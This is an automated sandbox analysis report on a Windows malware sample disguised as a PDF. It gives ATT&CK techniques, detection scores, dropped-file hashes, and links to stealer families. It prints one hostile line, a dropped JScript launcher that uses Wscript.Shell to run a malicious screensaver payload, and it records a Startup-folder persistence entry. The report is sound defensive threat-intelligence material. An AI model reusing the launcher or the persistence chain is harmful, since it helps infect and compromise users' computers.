Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	12 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 File Deletion	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	211 Masquerading	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
scan_doc_zapit_836893.pdf.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\185027\Spy.pif	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmp, NanoCipher.scr, 00000011.00000000.2289726663.00000000007C9000.00000002.00000001.01000000.00000008.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	false		unknown
http://nsis.sf.net/NSIS_ErrorError	scan_doc_zapit_836893.pdf.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000291B000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000404C000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, Spy.pif.2.dr, Tim.0.dr, NanoCipher.scr.11.dr	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546130
Start date and time:	2024-10-31 14:36:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	scan_doc_zapit_836893.pdf.exe
Detection:	MAL
Classification:	mal92.expl.evad.winEXE@28/17@2/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 102 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: scan_doc_zapit_836893.pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
09:37:42	API Interceptor	3494x Sleep call for process: Spy.pif modified
09:38:00	API Interceptor	2435x Sleep call for process: NanoCipher.scr modified
14:37:46	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\185027\Spy.pif	#U0417#U0430#U043f#U0438#U0442 #U0421#U0411#U0423.rar	Get hash	malicious	Unknown	Browse
	.gov.ua.html	Get hash	malicious	Unknown	Browse
	chrome.exe	Get hash	malicious	Unknown	Browse
	chrome.exe	Get hash	malicious	Unknown	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	DA92phBHUS.exe	Get hash	malicious	XWorm	Browse
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	#U0417#U0430#U043f#U0438#U0442 #U0421#U0411#U0423.rar	Get hash	malicious	Unknown	Browse
	.gov.ua.html	Get hash	malicious	Unknown	Browse
	chrome.exe	Get hash	malicious	Unknown	Browse
	chrome.exe	Get hash	malicious	Unknown	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse
	DA92phBHUS.exe	Get hash	malicious	XWorm	Browse
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\185027\Spy.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.610292045525758
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+eLCMuL4EkD5rijAeGVLbBrZo5uWAX+eLCMuL4EkD5rijH:RiJBJHonwWDeLPqJkD1ijRobtywWDeL2
MD5:	AE3F79E8F2D0228D4D9E761ACA281849
SHA1:	5B8384DE9F51EC42CD09DD27F921294F530410A5
SHA-256:	A50BE7A6DA084F41FE629ECD7DC8B4C61A094C8E6876BA3FCF4A52FC58971BD3
SHA-512:	1A0E0227B0D60FBA61DBBF53365F5EE4BF35DC44F8A8BF883292EA0F50DEF26195B090E98A39DE0C352879ECF8398D54DC6F85822DB94B3F7C707025D7765666
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\NanoSec Cryptographics\\NanoCipher.scr\" \"C:\\Users\\user\\AppData\\Local\\NanoSec Cryptographics\\o\"")

C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\185027\Spy.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: #U0417#U0430#U043f#U0438#U0442 #U0421#U0411#U0423.rar, Detection: malicious, Browse Filename: .gov.ua.html, Detection: malicious, Browse Filename: chrome.exe, Detection: malicious, Browse Filename: chrome.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: DA92phBHUS.exe, Detection: malicious, Browse Filename: Okfjk1hs4kdhs2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NanoSec Cryptographics\o

Download File

Process:	C:\Users\user\AppData\Local\Temp\185027\Spy.pif
File Type:	data
Category:	dropped
Size (bytes):	518748
Entropy (8bit):	7.999632035339632
Encrypted:	true
SSDEEP:	12288:HMbDqAxkqP/1vU6VQ12JQSUOsROHXp9YF:6DqvitU6qZObg
MD5:	CF5248A05D5201CB596BE18810555996
SHA1:	537010947EAB7BA675A99326BD9C3AF5D5CB1301
SHA-256:	D73BCC672158084ED5D6352648C58398AEBF5C7840ED7202C4991F8AA59EFFD7
SHA-512:	49AB322819C8D150B7C4AB4A6CD0DDCAC274E04545208E426C645E27C3742C407869B9B3185990E71BC85398F7B4B4D140F192005291CD59FA85254E86E87BEA
Malicious:	false
Preview:	.. ...C.87.j..{_..r.t...;.g...0.,q.~!..mVl..8.N{.}..{..J_q.9.1I..=.\.>.........+.,Cq.-...4...4.:..}...~g...Wjo. n..u..U.\|....1,w..&....."..W0..ML.Q.o,........+.h....UcQ..;.$...........). L_.e....:U.B.pa..E...S3P...o. .:..o.:..$..G2..(0;;...+aW...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rp...D.;.'.F...h.............p+....(.p+....(.kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....R..,P..Myn.2..t.W.....`...;.....\|p+......p+....(.m.........5...x..2).U.j....>..#.~......!.`\|...l..)u-T..<,.......%=.'....\|'.4....=._..G..._....[..}...X..I..b.x<......kxy(SRd.'N.e.S.fO%&9..{.$..\..;.6n..+q......K...<.....G...#t...WZB.mQ...?$...Hg.3b.0y.W..5...=q.Y.K...V...hI@.`Z@.$..2L

C:\Users\user\AppData\Local\Temp\185027\H

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	518748
Entropy (8bit):	7.999632035339632
Encrypted:	true
SSDEEP:	12288:HMbDqAxkqP/1vU6VQ12JQSUOsROHXp9YF:6DqvitU6qZObg
MD5:	CF5248A05D5201CB596BE18810555996
SHA1:	537010947EAB7BA675A99326BD9C3AF5D5CB1301
SHA-256:	D73BCC672158084ED5D6352648C58398AEBF5C7840ED7202C4991F8AA59EFFD7
SHA-512:	49AB322819C8D150B7C4AB4A6CD0DDCAC274E04545208E426C645E27C3742C407869B9B3185990E71BC85398F7B4B4D140F192005291CD59FA85254E86E87BEA
Malicious:	false
Preview:	.. ...C.87.j..{_..r.t...;.g...0.,q.~!..mVl..8.N{.}..{..J_q.9.1I..=.\.>.........+.,Cq.-...4...4.:..}...~g...Wjo. n..u..U.\|....1,w..&....."..W0..ML.Q.o,........+.h....UcQ..;.$...........). L_.e....:U.B.pa..E...S3P...o. .:..o.:..$..G2..(0;;...+aW...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rp...D.;.'.F...h.............p+....(.p+....(.kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....R..,P..Myn.2..t.W.....`...;.....\|p+......p+....(.m.........5...x..2).U.j....>..#.~......!.`\|...l..)u-T..<,.......%=.'....\|'.4....=._..G..._....[..}...X..I..b.x<......kxy(SRd.'N.e.S.fO%&9..{.$..\..;.6n..+q......K...<.....G...#t...WZB.mQ...?$...Hg.3b.0y.W..5...=q.Y.K...V...hI@.`Z@.$..2L

C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: #U0417#U0430#U043f#U0438#U0442 #U0421#U0411#U0423.rar, Detection: malicious, Browse Filename: .gov.ua.html, Detection: malicious, Browse Filename: chrome.exe, Detection: malicious, Browse Filename: chrome.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: burlar al diablo napoleon hill pdf.exe, Detection: malicious, Browse Filename: DA92phBHUS.exe, Detection: malicious, Browse Filename: Okfjk1hs4kdhs2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Already

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.997836829981676
Encrypted:	true
SSDEEP:	1536:5JoaF1pQ+Bivk9GmvKJ64UW7K/VlmKIW09zqkSQtem4SxgZ/DDZSD09XBM8zIDw6:5JrUv764UW7K/bLMzqBQteExSDDZl1B4
MD5:	FA1CC3AB4F5055541732DDD8D875C135
SHA1:	8872AE2A2F63DAB182ABA07342CC8190E6EC1DDE
SHA-256:	FD897C1E947BD3BADAB64F72349C08BFB6CD5787A3EB627578334315B1268395
SHA-512:	4D3482B63F143B64E6A134FA86A880FBA32FF04738E574C93FAB6A13E290BB5BEA5FD227CB0DA820660F5868EEC804697682B77F8FFFA8E3DC138BDD77D6E993
Malicious:	false
Preview:	..w@...=..,..`-..5.....J.Pc.p<whJ..,5...&.,..~%..`{.U.>./..EN......v.\..FS....[?d..P m\.A..~.....+K.d.%..Fj. ......t&tawt>n.a.D.>p9.3...G.}...UQ..B....l..+..j~].AE.$..o.......e.;....MN-$!.3...._,e...GI.$....V.m9l.nim.c......]...yX..^..p...u}..y.Z.7..1~`...2...].n..h4..1....\|..............H:Kuq.6.X.DN......s8<...S..5.g.^.).:.<1..k1.[.N>.(B....uF...nk...}....r.a.2...E.T....w.....i.z.{.Z........L...c..J.B..H...:.@..vws0..<.<R..<....e..9.IO....xJ..)...o...*}nq.0.".b.e.....M..I.q.1.$Bt.r.l.>R`.....M.....ec+.&...F..~7/.8d(..8..-.^.)5..@........Ro.....{0.....{dn.....Q....z.I....~%....v...N.Mt..}..jV..Y.../9/.g......".0.....o..G.W....R.G...,...z.>.....$. ..a....K..q.W...../Q...P7.......5\.....]....An.....=.]3"V..6..<&....x...q..k.BX..>O......B.&T}.$n.........)..-Y...O...$k.......C...D..G.x...n.I..(.c......Z.k9..]..v.....%..Z'w.d...0..N....&.{3#.q/.n.....Q5........... hbpd.....L\|.>......@.....:.............;....(.9D..!d.#..DBMr.0.:.

C:\Users\user\AppData\Local\Temp\Determined

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997750754709227
Encrypted:	true
SSDEEP:	1536:6ae1qXHsdtvUadRpxHzOAkg4lIiSIV6+lAhD7gBK6Rww6SxWR:c18M/vUadtHzzkgqIZIVVlACVZYR
MD5:	89E81DAB8000A2B73D9643E42A72DE15
SHA1:	6FAB41A9E7C5680070876B4CAB61C04F968C6572
SHA-256:	04E60272D87FEF156A62052EAE1C622C572DA81C26CD884BFE55E27C1C984A56
SHA-512:	F1B7274A630252DC34AF18FD01061EE2E32DFBAA86CDE6581ECF218474408C34FFA321B4A0037FEDFEA6909DAECE91B0429C4FBA89B8C48C6DF75AD58EF87B1E
Malicious:	false
Preview:	.U.\..k....G.].Z....0L.';.......>..a.R%....`Wz..R..R.aq..o .}aq.O_HK.s..%.in.......g.D.....3g..?.....!.rd......g....1-.B.DC........6....5.4z.0..J.S...e..W\.i;D$s......?^...}.C..R..X..Ip.!Cf.c?....9..`(.U.......qV.....7....u....-D'-.[.._.+..d/.2..m.5........9.f...\.?.........#...aN..q......../bg.H.jK3:........._qK.F+.P...y.T.%..I../...p.6UC.FE_:.>.M...7.........X...K.oJ..&..q........._.d...%_.u..h..g..].......2]..i?..s.y.b.DU...`.K..jZd!...XO7ua...,&. ..Q.u.....AP..`I.@.Ik.)h...@.c.1D.\.v..W.....}..>.....$............Cz..aw.. .%.?.q-.U.i....K..N?xs..4m..2...+.+.\..#..+k.t..?P. ..QF...;..cG._..v.1puu'.o.L. .u&.rA..%.....<f)o.+m.Y.....=5.."..D.M.z$......!.\|........Wi...~9C.....J...q.I...^. {.\P...3x5...r.e.....W&l.Ez.A(.luM.R..@.!...s..z~...\|w.}.B..'.O?......._<.}u2`.KBB.Sg.`@..=".m.$......! .x.+..A?{.b?.t.........h{.Z.`.%L.0.2.@..z.O..q&[.JiT#.'.t'.....>...b....3k8.XU._.W......?..t"hiP....t[........Ek..JI.[.\(,..2...r..%H.........x...@...

C:\Users\user\AppData\Local\Temp\Finnish

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	7.99786503957624
Encrypted:	true
SSDEEP:	1536:1RUQJN00D3PnZGyrJ0bNkvTuSUkhiq+apEd4fEYjiYrnqZPZ:1RUyh/gyrYNkvKSU+izYjiYbMZ
MD5:	451B264363660B3725CDFBC883227E38
SHA1:	6B695024901A21F973E82734434212E3C9C74133
SHA-256:	1FB0C5DB72F245600829D31A4987AED15A179F1157BAFB3C3AF86B56C36C5E73
SHA-512:	C15550CFF8DC14266C55FE94A66B9C6F16182669E0B606637A2267BF503C6CB270DE1BC806FD167480EE7691211F0ECB872ACA30C952A203C8421DE21AA1B5A4
Malicious:	false
Preview:	."..B.Y....z>.Y.........W'.O>K.i..#.M.1\|f^".D.]#.f@..ck.....S..n.Z~...'........U.N' ~.... M..e..m)...U].............=.6..~<K...fT.(....}r21..... @L5..q.x...`V..C..<.E.M.%.K..........y.4..:..$.6..;!....k'2.o...+....7#..E.6.W.......3.....4".l..I.W.Q..ag..Vd<..R.9......Ad.&%.b....w...C...n?....._.H.4s..P...QAQLg1JB.`1....Pr...V..ZA.,...........I.....^eQ.{...2$UE..g..}......t/?.z.....A...w.\|x..$%........7.....q.7... {D%r.i...A...qz........z...]hC....\|.......3.w.m..".hw......L:<V...h........bs.Tr.6.\...}..].............}..e...F.l...Y.f.2+.%.ka.Q.e.:../[.,8MA.!.F.{..`..K..e.Q.V...A....3.X-..m;...]..;.u..h{.T.]eI.E.....v~...S~...~f.?.+]i._...D..=.....?.X..#..;W.m..s..p..UQO.Apwe.h.P?Eu.>...*e.3J.....&...^.....b.8......~..N6.1.<...T.......FZ=..b6...%2....4a. ..?......a.w.....+_Xkn.xE(.'D......xI..=.......\...\|......"....3^..!.....VY.._/.w...X...(Q...t.,.%.Dh.];....hi...)\.......P.~L..oP..4.......94,4u...%{.rs.b.J...D.P..$..I...R......0.!j.>t.k.....

C:\Users\user\AppData\Local\Temp\Hint

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	42588
Entropy (8bit):	7.995385083436723
Encrypted:	true
SSDEEP:	768:aDBqSTSvISK1F8XUHyEUNGufmOiXoe9sjoJ44wppjdnS7jiSI5:aMSO1K1F8XUHrQ2Oi4e9sjoJ44wX1S7u
MD5:	95DE9DB271D3B485FF1C553FA44CD0A1
SHA1:	E02F7F27DD2F22107CA1B61E7829F07DD76879B6
SHA-256:	D2735070FDD4EAEED64282C742486DC33A4F6A757D940C2073B2A96C0D19B985
SHA-512:	967DDA38A5333E6004FB85FC337E76BE5C4F4EAFFE865EDC9558F361279437A5A0289C086E03EC0E48DFF4FCEF42DAFB0097BAB15F34590CD3F8EA4645531724
Malicious:	false
Preview:	.....&.<..b..`...Z.32...3.h.......... .v.t...b...#c.Jn^)....`.b...=~u/.\|..R......../e..l.p...yE...2.,d$.e.{YL.p.;...r.....\........"....&....-lv.sV.-&...n._...6.HlU.,..../f)m..(6....B@.k[.+.....~fg.7Sh%...Xc..J/K......Y...k..qP..s.<.........o>..6..Lmr.w\.P...z ......[2....G.A5..8...E.+..'@n\|.=.J.s....I..l.L.s..FH...'3mY..J....?O...R4t./.../...."..)......{.v....`........\|.....>..A...d."L.f..k.e...:.....T#.;m.+....IL.m;0...%!m....hE..=K.iJ..c...@.)}....4o..M$Y......:...k&.C.T;f..K.wt..).)...-..n.n.LGl....B..!...4..:...+s....(...f).rg1..V2.A%.N.j,....3...U-4.0.0...C..m=..&_.....6V.j.].#.t.z.\|.d.. b...K3h.c.../{...F...I{....F..!/....l....g;..T._l.%.v..z..'f.d....S.&...c.!!...9.P.../..U....q<h.B..P..p...a..=E....\|...h.<'.w..q....k....!.o.0........YD.Ox-.d...~@6@1z..;k.x}y'...f....:X,.T.....+.cl..=.Y.&.d1..........R=.....9.h-Z..&.(Z'...~...'^.(D.h<..S. ..c.3...].......2.W..C^n....?.hW...r...m...o..P..?..j.3.....L....Pt#.j.hOQL.{.._T.O..q?.X....

C:\Users\user\AppData\Local\Temp\Martin

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.997900445840888
Encrypted:	true
SSDEEP:	1536:OlQYrjuik6PRICjj77oe/J5jdnuoT3r9UWB3q6HE8By/+IiiduqU:EQYrb3oe/JpdnuorDq6kC7UI
MD5:	9E14B62B60B6D8DEFF595665714D21FB
SHA1:	FD2B5F9D546FB1181B2C3CF4F8E586AC60E469AA
SHA-256:	8DC24185E6F9691BD40730CBC52A0F28E3ECB338652AE6B172D52215FE84E4E2
SHA-512:	DF80B444B34E000A6CF76277A079ADA7D968E32FDD0728BF04810BFF78D709891CC2EDCD1446A24989593C246DFD34687F7B7481D132100CE4E19523FFA6A426
Malicious:	false
Preview:	.. ...C.87.j..{_..r.t...;.g...0.,q.~!..mVl..8.N{.}..{..J_q.9.1I..=.\.>.........+.,Cq.-...4...4.:..}...~g...Wjo. n..u..U.\|....1,w..&....."..W0..ML.Q.o,........+.h....UcQ..;.$...........). L_.e....:U.B.pa..E...S3P...o. .:..o.:..$..G2..(0;;...+aW...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rp...D.;.'.F...h.............p+....(.p+....(.kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....R..,P..Myn.2..t.W.....`...;.....\|p+......p+....(.m.........5...x..2).U.j....>..#.~......!.`\|...l..)u-T..<,.......%=.'....\|'.4....=._..G..._....[..}...X..I..b.x<......kxy(SRd.'N.e.S.fO%&9..{.$..\..;.6n..+q......K...<.....G...#t...WZB.mQ...?$...Hg.3b.0y.W..5...=q.Y.K...V...hI@.`Z@.$..2L

C:\Users\user\AppData\Local\Temp\Organizing

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997991765034814
Encrypted:	true
SSDEEP:	1536:7q+XAmE5ETG+pdTdrBEwvoJkAljZgu2rhFLPPkK38GMG:7q+XrNC47rBEZrljZgu2rDcqz
MD5:	F79ED8CD25A0C0DF29B1E687D414B83F
SHA1:	5704CEA46FE8C6FFEFEC21DF2338D3405EC1F542
SHA-256:	9CA00221B738AF74CA71D637F22439B91D12E4C283E6F6CB7E58954EF83466F5
SHA-512:	CB5A9FF18E9EFC1F38216BD12CAC81787D354339558266435C42994F68A0DB06F64089B634B18257B2279A45613EAFF962BF16CA81EB3910E27762BCC1CA8365
Malicious:	false
